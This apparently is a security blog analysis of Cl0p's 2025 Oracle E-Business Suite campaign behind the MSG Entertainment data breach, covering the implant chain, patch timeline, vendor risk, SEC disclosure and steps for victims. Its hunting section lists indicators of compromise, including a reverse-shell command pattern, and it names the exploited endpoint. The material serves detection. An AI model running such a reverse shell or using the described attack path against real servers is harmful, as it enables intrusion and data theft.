The MSG Data Breach Was the Symptom. Oracle EBS Was the Disease.
NH
NoHackie
March 16, 202616 min read
Madison Square Garden Entertainment confirmed in early 2026 that over 131,000 people had their personal data stolen — including names, addresses, and Social Security numbers. The breach made headlines. What didn't make headlines was the deeper story: Cl0p had been inside Oracle's E-Business Suite infrastructure since at least July 2025, harvesting data from hundreds of organizations across dozens of industries, months before anyone knew a patch was even needed.
131,070
People notified by MSG alone
4 mo
Gap between breach and MSG's notification
100+
Organizations hit in the same campaign
9.8
CVSS score for CVE-2025-61882
When MSG Entertainment sent breach notification letters to the Maine Attorney General's Office in early 2026 — reporting that 11 Maine residents were among those affected — the story broke in cybersecurity trade publications as a relatively clean narrative: an entertainment company got hacked, hackers stole data, the company told people. But that framing buries the actual story.
The real story is about a critical zero-day vulnerability in one of the world's most widely deployed enterprise software platforms, a ransomware group that spent months harvesting data before anyone knew they were inside, and a fundamental breakdown in how organizations manage the security of vendors who hold their most sensitive records. MSG Entertainment is just the version of this story with recognizable branding. The same attack hit The Washington Post, Harvard University, Logitech, Cox Enterprises, Korean Air, and at least 100 other organizations.
How the Breach Actually Happened
Oracle E-Business Suite, commonly called Oracle EBS, is an enterprise resource planning platform used by large organizations to manage back-office operations: payroll, HR records, hiring data, financial transactions, and vendor payments. It is the kind of software you never hear about unless something goes wrong. Something went very wrong.
The vulnerability at the center of this campaign is tracked as CVE-2025-61882, and it carries a CVSS score of 9.8 out of 10 — critical by any standard. According to analysis from Oligo Security, the flaw lives in the BI Publisher Integration component of Oracle's Concurrent Processing module, affecting EBS versions 12.2.3 through 12.2.14. It allows an unauthenticated attacker — meaning no username or password required — to send specially crafted HTTP requests to a vulnerable server and achieve full remote code execution.Zero-day
Why a 9.8 CVSS on an ERP platform is particularly serious
CVSS 9.8 with no authentication required is about as dangerous as a vulnerability rating gets. But the severity is amplified by context: Oracle EBS is typically deployed in the most data-rich part of an organization's infrastructure. It holds payroll records, HR files, tax identifiers, bank account data, and vendor financial relationships. A 9.8 on a public web server is bad. A 9.8 on the system that knows everyone's salary and Social Security number is categorically worse. And because EBS is enterprise software, patching it requires testing against complex customizations, making organizations slower to apply updates than they would be for simpler systems.
"The flaw enables remote code execution (RCE) without authentication, making it highly attractive to threat actors seeking to compromise large organizations." — Rescana Threat Intelligence, November 2025
The attack chain worked like this: threat actors sent carefully crafted HTTP requests targeting the /OA_HTML/SyncServlet component to achieve remote code execution. From there they triggered an XSL payload through Oracle's Template Preview functionality. Researchers at Google's Mandiant unit identified two distinct Java payload families embedded within those XSL templates. The result was a multi-stage malware chain designed specifically for Oracle's environment. The level of investment in custom, multi-stage implants targeting a specific ERP platform demonstrates serious pre-attack research and operational capability.
What custom ERP implants tell us about the attacker
Writing malware that persists inside a Java ERP application server requires deep knowledge of Oracle's internal architecture, WebLogic's classloader behavior, and how EBS processes XSL templates. This is not repurposed commodity tooling. Cl0p (or associated developers) invested significant engineering effort specifically to operate silently inside EBS environments. That investment is only rational if the expected return — hundreds of organizations' payroll and HR data — justifies it. The return, apparently, did.
Malware Implant Chain — CVE-2025-61882click a stage to expand
01
GOLDVEIN.JAVA
Java downloader via XSL template
02
SAGEGIFT
Base64 loader for WebLogic
03
SAGELEAF
In-memory dropper
04
SAGEWAVE
Persistent servlet filter
05
DB Storage
Payloads stored in EBS database
Stage 01 — GOLDVEIN.JAVA
The initial exploit sends a crafted HTTP request to /OA_HTML/SyncServlet, triggering execution of an XSL payload through Oracle's Template Preview functionality. Embedded inside that XSL template is GOLDVEIN.JAVA — a Java-based downloader Mandiant identified as a variant of a loader previously deployed in a December 2024 campaign targeting Cleo software. Its reuse here confirms infrastructure continuity between Cl0p campaigns.
This stage establishes a foothold inside the EBS application layer. The initial exploit requires no authentication, meaning any internet-facing EBS server running vulnerable versions 12.2.3 through 12.2.14 was a viable target.
Stage 02 — SAGEGIFT
SAGEGIFT is a Base64-encoded loader built specifically for Oracle WebLogic Server, the Java application server that runs the EBS stack. Its sole function is to load the next stage. Targeting WebLogic specifically is significant: it means the attackers understood Oracle's deployment architecture well enough to write a payload that operates within WebLogic's runtime environment without triggering standard application errors or crashing the system.
The WebLogic-specific design also allows SAGEGIFT to operate without leaving artifacts on the file system at this stage, making forensic detection harder.
Stage 03 — SAGELEAF
SAGELEAF is an in-memory dropper. It runs entirely within the JVM process heap, leaving no file on disk that endpoint detection tools would flag. Its purpose is to install the final persistent implant, SAGEWAVE, into the running WebLogic instance without writing anything to the file system.
In-memory malware is significantly harder to detect than file-based malware. Traditional antivirus and EDR tools that scan files on disk will not find it. Detection requires either memory forensics of the live JVM process or behavioral monitoring of the application layer.
Stage 04 — SAGEWAVE
SAGEWAVE is the persistent access mechanism: a malicious Java servlet filter injected into the running WebLogic server. Servlet filters intercept all incoming HTTP requests before they reach the application, giving SAGEWAVE persistent, covert access to the EBS environment on every request. This is what kept Cl0p inside compromised environments for weeks to months — the filter survives application restarts as long as it remains registered in WebLogic.
SAGEWAVE is what enabled the extended data exfiltration phase. While organizations were unaware anything was wrong, SAGEWAVE was available as a persistent backdoor to operators who knew how to activate it.
Stage 05 — Database Storage
According to Google Cloud's Threat Intelligence Group, the attackers stored malicious payloads directly inside the EBS database itself — specifically in the XDO_TEMPLATES_B and XDO_LOBS tables. This is the detail that makes standard defenses blind to the compromise.
Network-layer firewalls and perimeter defenses do not inspect database table contents. Endpoint detection tools on the host do not scan database records. The only way to find these payloads is to query the database tables directly — looking for entries where TEMPLATE_CODE begins with TMP or DEF. Organizations that ran this query after the October 2025 advisory could identify whether they had been compromised. Organizations that did not run it may still not know.
Critical Technical Detail
According to Google Cloud's Threat Intelligence Group (GTIG), the attackers stored payloads directly inside the EBS database itself, specifically in the XDO_TEMPLATES_B and XDO_LOBS tables. This means standard network-layer defenses would not detect the implants. Administrators hunting for compromise need to query those tables directly, looking for templates where the TEMPLATE_CODE begins with TMP or DEF.
The Patch Didn't Close the Door. There Were Two Doors.
Here is a detail the initial coverage largely missed: Oracle's October 4 emergency patch for CVE-2025-61882 was not the end of the patching story. On October 11 — a full week later — Oracle issued a second out-of-band advisory for CVE-2025-61884, a separate vulnerability in Oracle Configurator's Runtime UI component. Security researchers at watchTowr confirmed an exploit chain involving the /configurator/UiServlet endpoint via server-side request forgery that was not addressed by the first patch at all.Zero-day
Why a second unpatched chain matters to the incident timeline
Organizations that applied the October 4 patch and considered themselves remediated were operating on incomplete information. CVE-2025-61884 represented a distinct exploitation path that remained open for an additional seven days after the first emergency fix. Any organization that patched CVE-2025-61882 promptly but did not apply the October 11 update was still exposed through a different attack surface within the same platform. The practical effect is that the safe window — the point at which a fully patched Oracle EBS installation was no longer vulnerable to known exploitation chains — was not October 4. It was October 11 at the earliest.
There is also a less-discussed operational problem embedded in the patch itself. Oracle's advisory for CVE-2025-61882 included a prerequisite: the October 2023 Critical Patch Update had to be applied before the emergency fix could be installed. For organizations running Oracle EBS that had not maintained quarterly patch compliance, this created a multi-step remediation problem at exactly the moment speed was most critical.
What a patch prerequisite means under emergency conditions
When a 9.8 CVSS vulnerability is being actively exploited and Oracle releases an emergency patch, the practical expectation is that administrators can apply it immediately. The October 2023 CPU prerequisite broke that assumption. Organizations that were running Oracle EBS without the 2023 baseline had to first backfill over a year of cumulative patches, test for compatibility with their customizations, and only then apply the emergency fix. In a complex ERP environment, that is not a same-day operation. Oracle EBS deployments are typically heavily customized, and patch testing against those customizations can take days or weeks even under emergency protocols. This prerequisite was not prominently flagged in early coverage of the vulnerability, meaning many organizations may not have understood the full remediation path until they were already in the process.
The Four-Month Gap Nobody Wants to Talk About
Here is the timeline that should make every security professional uncomfortable. Detection lag
Campaign Timeline — July 2025 to March 2026
July 10, 2025
Earliest suspicious activity detected. GTIG observes the earliest targeting pattern against Oracle EBS servers. Exploitation is not yet confirmed but behavioral indicators are present. No public advisory exists. No patch exists.
August 9–14, 2025
Confirmed exploitation begins. Threat actors use CVE-2025-61882 as a true zero-day and begin exfiltrating data from victims including MSG Entertainment. No patch is available. No public advisory exists. Zero-day window
Late September 2025
Extortion phase begins. Cl0p begins emailing executives at dozens of organizations from hundreds of compromised third-party accounts. Oracle acknowledges reports of extortion emails and references July 2025 CPU vulnerabilities — but CVE-2025-61882 has no patch yet.
October 3–9, 2025
Exploit goes public. A second threat actor community enters. A Telegram channel linked to Scattered Spider, LAPSUS$, and ShinyHunters leaks a working exploit archive. WatchTowr confirms the PoC is functional. CrowdStrike assesses it cannot rule out multiple threat actors already exploiting the same vulnerability. By October 7–9, a surge of copycat scanning and exploitation begins from groups unaffiliated with Cl0p. The zero-day becomes, in practice, a public exploit. Multi-actor window
October 4–5, 2025
Oracle releases emergency patches. CVE-2025-61882 is formally published with a CVSS score of 9.8. Mandiant confirms Cl0p leveraged both the new zero-day and previously unpatched July CVEs. Organizations that applied July patches were partially protected; organizations that had not were significantly more exposed.
October 8, 2025
Cl0p begins naming victims publicly. The group updates its dark web leak site, beginning public disclosure of organizations that have not paid. The extortion deadline clock is now visible.
November 2025
MSG's data published publicly. Cl0p has named 29 victims publicly. MSG Entertainment refuses to pay. More than 210 GB of MSG's archived files are published on the Cl0p leak site — accessible to anyone. MSG still unaware internally
December 16, 2025
MSG learns of the breach. MSG Entertainment's third-party vendor confirms that unauthorized access to their Oracle EBS data occurred in August 2025. MSG learns of the breach roughly four months after the initial intrusion — and weeks after its data was already publicly available on Cl0p's site. 4-month lag
February–March 2026
Public notification begins. MSG begins notifying 131,070 affected individuals. Class action law firms launch investigations. The story reaches mainstream coverage — months after the data was already compromised and publicly exposed.
That gap between August and December is the most important part of this story. For roughly four months, an entertainment company holding the Social Security numbers of over 131,000 people had no idea those records had been taken. The data was already on Cl0p's leak site in November — publicly accessible to anyone who looked — before MSG even knew about the breach internally.Detection lag
What four months of undetected access actually enables
Four months is not a gap — it is a window of operation. During that period, attackers can enumerate the full database schema, map all connected systems, identify the highest-value records, stage exfiltration in small batches to avoid anomaly detection, establish secondary persistence mechanisms, and prepare extortion materials. By the time an organization discovers a breach of this kind, the attacker has had more time to understand the environment than most internal teams have. The concept of "containment" becomes largely theoretical when the attacker has been inside for a third of a year.
"Attribution in the financially motivated cybercrime space is often complex, and actors frequently mimic established groups like Clop to increase leverage and pressure on victims." — Charles Carmakal, CTO of Mandiant, as reported by Paubox
Cl0p's Playbook: Why This Keeps Working
Cl0p, also written as CL0P, is not a new name. The group has been operating since at least 2019, but it rose to notoriety through a series of mass-exploitation campaigns that followed a consistent, repeatable model. Before Oracle EBS, Cl0p exploited zero-days in Accellion's legacy file transfer appliance, GoAnywhere MFT, Progress MOVEit, and Cleo LexiCom. The pattern is always the same: identify a widely deployed enterprise platform, acquire or develop a zero-day exploit, harvest data silently from as many victims as possible, then pivot to extortion weeks or months later.Playbook
Why the "jackpot target" model is so economically efficient
Traditional ransomware operations require compromising one organization at a time through phishing, credential theft, or network intrusion. Cl0p's model is different: find a vulnerability in a platform used by thousands of organizations, build or acquire the exploit once, then execute against all of them in parallel. The marginal cost of adding the 100th victim to a mass-exploitation campaign is near zero. The extortion revenue from 100 victims is not. This is why Cl0p invests heavily in finding and developing zero-days for enterprise platforms that hold sensitive data at scale — the return on that investment is an entire industry's worth of leverage.
Cl0p Mass-Exploitation Campaign History
2020–2021
Accellion FTA
100+ victims
Early 2023
GoAnywhere MFT
130+ victims
Mid 2023
MOVEit Transfer
2,700+ victims
Late 2024
Cleo LexiCom
300+ victims
2025
Oracle EBS
100+ confirmed
The model works because of two compounding factors. First, widely used enterprise platforms create what security researchers call a "jackpot target" — one vulnerability, hundreds of victims. There is no need to compromise individual organizations one at a time. Second, the delay between data theft and extortion contact means many organizations have no idea they are compromised until Cl0p tells them. By the time extortion emails arrive, the data is already off-premises and the attackers hold all the leverage.
When the Zero-Day Became Everyone's Zero-Day
There is a chapter of this campaign that received almost no attention in breach coverage: what happened on October 7 through 9, 2025. Oracle had released its emergency patch on October 4. Three to five days later, working exploit code for CVE-2025-61882 was circulating publicly on a Telegram channel linked to Scattered Spider, LAPSUS$, and ShinyHunters — groups with no affiliation to Cl0p. WatchTowr confirmed the proof-of-concept was functional. CrowdStrike assessed, with moderate confidence, that it could not rule out multiple threat actors already exploiting the same vulnerability independently of Cl0p.Multi-actor
What a public PoC means for organizations that had not yet patched
When Cl0p was the only actor exploiting CVE-2025-61882, the attack was targeted and operationally disciplined. Cl0p selected specific victims, moved quietly, and delayed extortion to maximize the window for data collection. When the PoC went public, that calculus changed entirely. Any threat actor with an interest in Oracle EBS and basic tooling could now execute the exploit. SOCRadar identified a dark web post from June 2025 advertising a pre-authentication RCE exploit for Oracle EBS 12.2.14 for $70,000 — evidence that interest in this attack surface predated even Cl0p's campaign. Once exploit code was freely available in October, opportunistic scanning and indiscriminate exploitation became the default condition. Organizations that applied the October 4 patch the same day it dropped were protected. Organizations that needed a week or more to apply the prerequisite patches and test against their customizations were exposed to a much noisier, less selective wave of follow-on exploitation from actors with no interest in waiting.
The question that has not been asked publicly is this: of the 100-plus confirmed victims in this campaign, how many were breached by Cl0p, and how many were breached by secondary actors exploiting the same vulnerability after the PoC was public? The attribution is incomplete. The victims are real regardless.
The MFA Bypass Nobody Mentioned
There is a technical detail buried in post-incident analysis that deserves direct discussion. When organizations began responding to the extortion emails and moving to contain access, Cl0p in some cases fell back to local Oracle EBS login endpoints that bypass SSO entirely — endpoints that did not enforce MFA. This survival mechanism meant that containment efforts focused on identity providers and SSO flows were incomplete.Auth bypass
Why SSO-bypass login paths are a persistent ERP blind spot
Oracle EBS has historically supported local authentication endpoints that were intended for legacy integrations and emergency access. In many enterprise deployments, these endpoints are not covered by the organization's identity provider or MFA policy because they predate modern SSO implementation or because migrating legacy integrations is operationally complex. When Cl0p's primary access via the WebLogic implant was detected or at risk of containment, these local endpoints provided an alternate persistence path that bypassed whatever MFA the organization had implemented on the primary login flow. The lesson here is narrow but important: an ERP system's MFA posture is only as strong as the weakest authentication path into the system, including legacy endpoints that may not appear in modern identity governance tools.
Whether the third-party vendor hosting MSG's Oracle EBS instance had those local authentication endpoints hardened — or whether they were part of the post-intrusion access path — is not publicly known. MSG's breach notification letters do not address this level of technical detail. But the question is worth asking of any managed ERP provider: which authentication paths exist on the system, and which of those paths are covered by your MFA policy?
The extortion email campaign itself was operationally sophisticated. According to Cybereason's incident response team, the emails were sent from hundreds, if not thousands, of compromised third-party accounts across legitimate organizations rather than from a single mail server. This approach was deliberately designed to evade email filtering and make attribution difficult. Some organizations never received the emails because their spam filters caught them — meaning they may still be unaware they were targeted.
The implications of missed extortion emails
If Cl0p's extortion email went to spam, an organization might have no idea it is on the victim list until its data appears publicly on the leak site — or until a journalist, competitor, or regulator finds it first. This is not a hypothetical: the volume of confirmed victims who have still not publicly disclosed impact strongly suggests some organizations have not yet connected the dots between their Oracle EBS environment and the Cl0p campaign. The extortion email is both the threat and the notification. Missing it means missing the only advance warning you get.
Cl0p also employs a naming tactic worth noting: the group frequently lists parent companies on its leak site even when the breach affected only a subsidiary. American Airlines appeared on the Cl0p site when the actual breach was limited to its subsidiary Envoy Air. The tactic amplifies reputational pressure and increases the likelihood of payment.
Why listing parent companies is deliberate and effective
A subsidiary's name on a ransomware leak site is a problem for the subsidiary's PR team. A Fortune 500 parent company's name on a ransomware leak site is a problem for the board, the general counsel, the investor relations team, and anyone holding equity. The reputational blast radius of the parent company name is orders of magnitude larger than the subsidiary's, even if the actual breach was limited. Cl0p understands this dynamic precisely and uses it to create maximum pressure for payment from organizations whose actual exposure may be relatively contained.
Context
Cl0p claimed 456 ransomware attacks in 2025 alone. Of the confirmed Oracle EBS victims, 31 breaches accounted for roughly 3.75 million compromised records, according to reporting by Prism News. That figure represents only confirmed, disclosed breaches. The actual total is almost certainly higher.
MSG Was One of Over 100 Victims
The breadth of this campaign is what makes it genuinely alarming. Confirmed victims named on the Cl0p leak site or disclosed through breach notification filings include organizations spanning technology, media, aviation, higher education, automotive parts, digital engineering, financial services, and entertainment. The Washington Post confirmed it was affected in early November 2025. Harvard University confirmed exposure. Logitech, Cox Enterprises, Pan American Silver, LKQ Corporation, and Copeland all appeared on Cl0p's disclosure site.
GlobalLogic, a digital engineering firm owned by Hitachi, disclosed that personal data belonging to nearly 10,500 current and former employees was exposed, including names, contact information, birth dates, passport numbers, Social Security numbers, and bank account details. That disclosure illustrates how much damage a single Oracle EBS compromise can cause when the platform is used for HR and payroll management.
For MSG specifically, the exposed data was described in breach notification filings as business records related to hiring and payments made to individuals. That means the 131,070 people notified are a mix of employees, contractors, performers, event staff, and vendors — anyone whose name and Social Security number passed through MSG's HR or payroll systems in the affected Oracle EBS environment. The intrusion window ran from August 10 to October 21, 2025.
MSG refused to pay the ransom. As a consequence, Cl0p published more than 210 GB of the company's archived files publicly on its leak site. MSG offered affected individuals one year of complimentary credit monitoring and identity protection services through Cyberscout, a TransUnion company.
The actual cost calculation of not paying
Not paying is the right policy position and the FBI's official recommendation. But the consequences are concrete: 210 GB of MSG's archived files are now permanently public. Credit monitoring for 131,070 people, potential class action liability, regulatory scrutiny, and reputational cost are the measurable outcomes of that decision. The counterfactual — paying and receiving a deletion promise from a ransomware group — is not trustworthy: there is no enforcement mechanism, and organizations that pay have still seen their data leaked later. There is no clean outcome once Cl0p has your data. The calculus is about which costs are more manageable, not which option avoids them.
The Disclosure Timeline Question Nobody Asked MSG
MSG Entertainment Corp. is a publicly traded company. Under SEC cybersecurity disclosure rules that took effect in December 2023, public companies are required to report material cybersecurity incidents on Form 8-K within four business days of determining that a breach is material. The rule was designed specifically to prevent the kind of months-long disclosure gap that defined this incident. MSG determined the breach had occurred on December 16, 2025. Public notification to affected individuals began in February and March 2026 — but the more immediate question is when, or whether, MSG filed an 8-K with the SEC about a breach affecting 131,070 people's Social Security numbers.Governance
What the SEC's cybersecurity disclosure rule actually requires
The SEC's Rule 10 requires that when a public company determines a cybersecurity incident is material — meaning a reasonable investor would consider it important — it must file an 8-K within four business days. Materiality is not defined solely by the number of records; it includes reputational, legal, and financial exposure. A breach affecting 131,070 individuals whose Social Security numbers and employment records were exfiltrated, subsequently published publicly by a ransomware group, and the subject of active class action investigation would appear to meet most reasonable definitions of material. The University of Phoenix's parent company, Phoenix Education Partners, filed an 8-K following its own Oracle EBS breach. MSG's parallel obligations under the same framework have received no public scrutiny in breach coverage to date.
The SEC rule also requires companies to describe their cybersecurity risk management processes in annual 10-K filings, including how they manage third-party risks. Given that MSG's breach originated in a vendor-managed system, there is a secondary question about what MSG's most recent 10-K disclosures represented about the company's third-party risk oversight capabilities — and whether those representations remained accurate in light of a four-month undetected vendor compromise.
Annual filings and the gap between disclosure and reality
Public companies that describe robust third-party risk management programs in their 10-K filings create a representation that regulators, investors, and plaintiffs can compare against actual outcomes. If MSG's annual disclosures represented that the company had processes to monitor vendor security posture and respond to incidents in a timely manner, the four-month notification gap creates an obvious tension. Class action attorneys and the SEC both have authority to examine whether those representations were accurate. Coverage of this breach has focused almost entirely on the victim experience; the corporate governance and regulatory dimension has been largely unexplored.
Update
MSG Entertainment's parent entity, Sphere Entertainment Co. (NYSE: SPHR), filed a Form 8-K on February 3, 2026 — approximately three weeks before the public breach disclosure on February 26, 2026. The content of that filing, as reflected in SEC EDGAR records, does not appear to address the cybersecurity incident under Item 1.05, which is the mandatory disclosure pathway for material cybersecurity events under the SEC's 2023 rules. Whether MSG/Sphere made a materiality determination that triggered or did not trigger a cybersecurity-specific 8-K disclosure, and on what timeline relative to the December 16, 2025 discovery date, remains unaddressed in public coverage of this breach. Affected investors and regulators can verify the full filing record directly at SEC EDGAR.
The Third-Party Vendor Problem
Here is the detail in this story that deserves far more attention than it has received: MSG Entertainment did not run its own Oracle EBS instance. The system was hosted and managed by a third-party vendor. That vendor was breached. That vendor's investigation is what eventually surfaced the intrusion, four months after it happened.Third-party risk
The structural problem with vendor-hosted sensitive data
When sensitive data lives in a vendor's environment, the data controller (MSG) bears legal liability under breach notification laws, but the security controls, patch management, incident detection, and forensic investigation capabilities all belong to the vendor. MSG could not have detected this breach independently because the breach did not happen in MSG's environment. The only information MSG received was what the vendor chose to share, on the vendor's timeline. Four months after the fact. This is not a failure mode unique to MSG — it is the default condition for any organization that hands sensitive data to a managed service provider without contractual incident detection and notification requirements with specific, enforced timelines.
This is a third-party risk management failure, and it is the norm, not the exception. Organizations routinely hand sensitive data — payroll records, hiring data, SSNs, financial transactions — to vendors who operate the platforms on their behalf. The data is the organization's legal responsibility. The security controls, patching schedules, and incident detection capabilities belong to someone else entirely.
The question that MSG Entertainment's breach forces every organization to confront is simple: if your vendor's Oracle EBS instance was compromised for four months, would you have known? The answer, in most cases, is no. Vendor security assessments are typically point-in-time exercises. Contracts establish data handling requirements but rarely impose real-time monitoring obligations or breach detection SLAs with teeth. The vendor in MSG's case discovered the intrusion through forensic investigation — reactive, not proactive.
What vendor contracts should actually require
Standard vendor security clauses cover data encryption, access controls, and annual audit rights. Almost none of them specify: continuous monitoring obligations, maximum time-to-detect requirements, mandatory notification within hours of suspected incident (not days or months), access to vendor security event logs on demand, right to conduct independent forensic investigation, and specific remediation timelines for critical CVEs. These are contractually achievable requirements. They are rarely present because procurement teams do not demand them and vendors do not offer them voluntarily. MSG's four-month notification gap is, in part, a contract failure.
"The case raises policy and governance questions about third-party risk management, incident disclosure timelines and regulatory oversight." — Prism News, March 2026
There is also a patching governance angle here. CVE-2025-61882 was exploited in the wild at least two months before Oracle released a patch. Organizations cannot patch a vulnerability that has no CVE yet. But the broader Oracle EBS patching picture is relevant: Cybereason's analysis found that in some cases attackers combined the zero-day with as many as five previously unpatched CVEs from Oracle's July 2025 Critical Patch Update. Meaning organizations that were up-to-date on Oracle's quarterly patch cycle would have reduced, but not eliminated, their exposure. Organizations that had not applied the July 2025 patches were significantly more vulnerable to the full attack chain.
Oracle's Own Communication Made Response Harder
The third-party vendor problem does not exist in isolation. It was compounded by something Oracle did — or more precisely, something Oracle said and then quietly took back. When extortion emails began reaching executives in late September 2025, Oracle's initial public statement pointed to vulnerabilities already addressed in the July 2025 Critical Patch Update. The implied message was clear: organizations that had applied their quarterly patches were protected. Oracle subsequently removed that reference from its advisory and replaced it with a reference to CVE-2025-61882 — the new, at-the-time-unpatched zero-day. The walkback was never formally explained.Zero-day
What the messaging reversal cost organizations in response time
Oracle's initial statement — linking the attacks to vulnerabilities already addressed in the July 2025 CPU — gave patched organizations a false sense of containment at a critical moment. Organizations that had applied July patches had rational grounds to deprioritize emergency response based on that guidance. When Oracle quietly revised the advisory to reference an unpatched zero-day instead, those organizations had to restart their threat assessment from scratch. How many delayed forensic investigation or incident response mobilization based on Oracle's initial framing? That question has no clean public answer. What is clear is that the authoritative source on this vulnerability initially pointed its customers in the wrong direction during the active exploitation window.
Security researchers at Tenable noted that even after the messaging revision, it remained unclear whether the July CPU vulnerabilities were involved at all — Oracle never officially confirmed whether they were used in the attacks, only stopped citing them. That ambiguity meant defenders were hunting for two potentially overlapping attack surfaces with incomplete official guidance. The practical consequence was that incident response teams could not be certain which attack chain had been used against them without full forensic investigation, even after Oracle released its advisory.
Why attribution ambiguity makes forensic triage harder
Incident response prioritization depends on knowing which attack vector was used. If the July CVEs were part of the chain, organizations needed to verify whether those patches had been applied. If only CVE-2025-61882 was used, the investigation scope changes. Oracle never definitively resolved this question. Third-party researchers, including watchTowr, subsequently identified that the full exploit involved five separate bugs — suggesting both old and new vulnerabilities were chained together. But that conclusion came from external analysis, not from Oracle. Organizations relying on Oracle's advisory for guidance were making remediation decisions with less information than was publicly available from independent researchers.
What Defenders Should Have Been Watching For
Google's Threat Intelligence Group published specific indicators of compromise and defensive guidance for this campaign. Organizations running Oracle EBS should look for these signs of compromise in their environments:
# Hunt for malicious database templates
SELECT * FROM XDO_TEMPLATES_B ORDER BY CREATION_DATE DESC;
SELECT * FROM XDO_LOBS ORDER BY CREATION_DATE DESC;
-- Flag any TEMPLATE_CODE beginning with TMP or DEF
# Network-level IOCs (from Oligo Security research)
# Suspicious IPs observed in campaign:
200.107.207.26
185.181.60.11
# Suspicious files associated with post-exploitation
exp.py
server.py
oracle_ebs_nday_exploit*.zip
# Process-level red flags
# Reverse shell pattern: /bin/bash -i >& /dev/tcp/[attacker-ip]/[port]
# Unexpected child processes spawned from Oracle EBS Java service
Mandiant also confirmed that at least two compromised sender accounts used in the extortion email campaign were previously linked to past Cl0p and FIN11 operations, suggesting infrastructure reuse across campaigns. This means threat intelligence feeds tracking known Cl0p infrastructure would have flagged the extortion emails as suspicious before victims even opened them.
What If You Were Affected?
If you received a data breach notification from MSG Entertainment, or if you believe you may have worked with MSG as an employee, contractor, or vendor between August and October 2025, here is what the current guidance recommends.
Personal Response Checklist0 of 5 complete
Activate MSG's free credit monitoring through Cyberscout
MSG is offering one year of free credit monitoring. Activate it immediately even if you have not seen misuse yet. SSNs are typically used for fraud months or years after a breach — not in the immediate aftermath.
Now
Place a credit freeze at all three bureaus
Freeze your credit at Equifax, Experian, and TransUnion. It is free, does not affect your credit score, and prevents new accounts from being opened in your name. Credit monitoring tells you after fraud happens. A freeze prevents it. This is the single most effective protection available after SSN exposure.
Now
Place an IRS Identity Protection PIN on your tax account
An IRS IP PIN prevents someone from filing a fraudulent federal tax return using your Social Security number. File at IRS.gov/ippin. This is especially important if your SSN was among the exposed data, which MSG's notification letters confirm for affected individuals.
Soon
Consider joining the class action investigation
Edelson Lechtzin LLP announced a formal investigation in late February 2026 on behalf of affected individuals. Participation is voluntary. Check your state's statute of limitations for data breach claims if you are considering this option.
Soon
Monitor for identity misuse long-term
SSN-based fraud often surfaces 12–24 months after a breach. Continue monitoring financial accounts, tax filings, Social Security benefit statements, and medical billing records. Consider renewing credit monitoring beyond the one-year complimentary period MSG provides.
Ongoing
You have done everything in your control. That is the uncomfortable truth of a breach like this: the exposure happened in a vendor's system, before you knew, before a patch existed, and before anyone had reason to look. The list you just completed is mitigation. The decision that made it necessary was made months ago, by others, in infrastructure you never had visibility into.
Additionally, class action attorneys are actively investigating this breach. Edelson Lechtzin LLP announced a formal investigation in late February 2026 on behalf of affected individuals. Participation in class action proceedings is voluntary, but affected individuals should be aware of their options and applicable statutes of limitations in their states.
A question worth sitting with
If a ransomware group spent four months inside infrastructure that holds your employees' Social Security numbers, and the only reason you found out was that the attacker told your vendor — how many other vendor environments holding your data would produce the same result?
Key Takeaways
Zero-days are not theoretical. CVE-2025-61882 was exploited at least two months before Oracle released a patch. Organizations that patched immediately after the October 2025 advisory were still exposed during the entire summer window. The only mitigation for unannounced zero-days is defense-in-depth: network segmentation, outbound traffic monitoring, anomaly detection at the application layer, and restricting internet-facing ERP access. Zero-day
Your vendor's security posture is your security posture. MSG did not operate the compromised system. The data was still MSG's legal and reputational liability. Third-party risk assessments must include active monitoring obligations, not just annual questionnaires. Contracts should require vendors to notify of suspected incidents within hours, not months. Third-party risk
Cl0p's mass-exploitation model shows no signs of stopping. This group has run the same playbook successfully against Accellion, GoAnywhere, MOVEit, Cleo, and now Oracle EBS. The targets change. The model does not. Any widely deployed enterprise platform with internet-facing components is a candidate for the next campaign. Playbook
Detection lag is the real damage multiplier. Four months of undetected access gave attackers ample time to thoroughly map and exfiltrate sensitive data. Modern ERP environments require runtime application monitoring, not just perimeter and endpoint defenses. The initial exploit happens inside the application layer where traditional EDR tools do not look. Detection lag
Not paying ransoms is the right call, but it has consequences. MSG declined to pay, and 210 GB of its data was published publicly. The short-term cost of refusal is data exposure. The long-term cost of payment is funding further attacks and establishing that extortion works. There is no clean option once an organization is in Cl0p's crosshairs — which is precisely why prevention is the only viable strategy.
The patch was not one patch — it was three steps with a week between them. Remediating CVE-2025-61882 required the October 2023 CPU as a prerequisite, then the October 4 emergency fix, then a second out-of-band patch for CVE-2025-61884 on October 11. Organizations that moved fast but stopped after step two remained exposed through a distinct attack chain. Emergency response playbooks that treat a single CVE advisory as the complete remediation picture are not adequate for complex, multi-CVE enterprise platform attacks. Zero-day
Public companies have SEC disclosure obligations that apply here. The SEC's 2023 cybersecurity disclosure rules require 8-K filings for material incidents within four business days of a materiality determination. For publicly traded organizations, the question of incident materiality is not optional: it requires a documented analysis and, when the answer is yes, a public filing. Coverage of this breach has focused on consumer harm and class action exposure. The regulatory compliance dimension — for MSG and the other publicly traded organizations named in this campaign — has been conspicuously absent from the public conversation. Governance
MSG Entertainment is a familiar name, and that is why this breach got coverage. But the 100-plus other organizations hit by the same campaign — many of which have still not publicly confirmed impact — represent the real scale of what happened here. Oracle EBS runs a substantial portion of the world's enterprise HR, payroll, and financial data. When a threat actor finds a zero-day in that platform and has months to exploit it quietly, the ripple effects extend far beyond any single organization's breach notification letter.
The headline said Madison Square Garden confirmed a data breach. The actual story is that enterprise ERP infrastructure is a high-value, under-defended attack surface, and a sophisticated threat actor spent the second half of 2025 proving it at scale.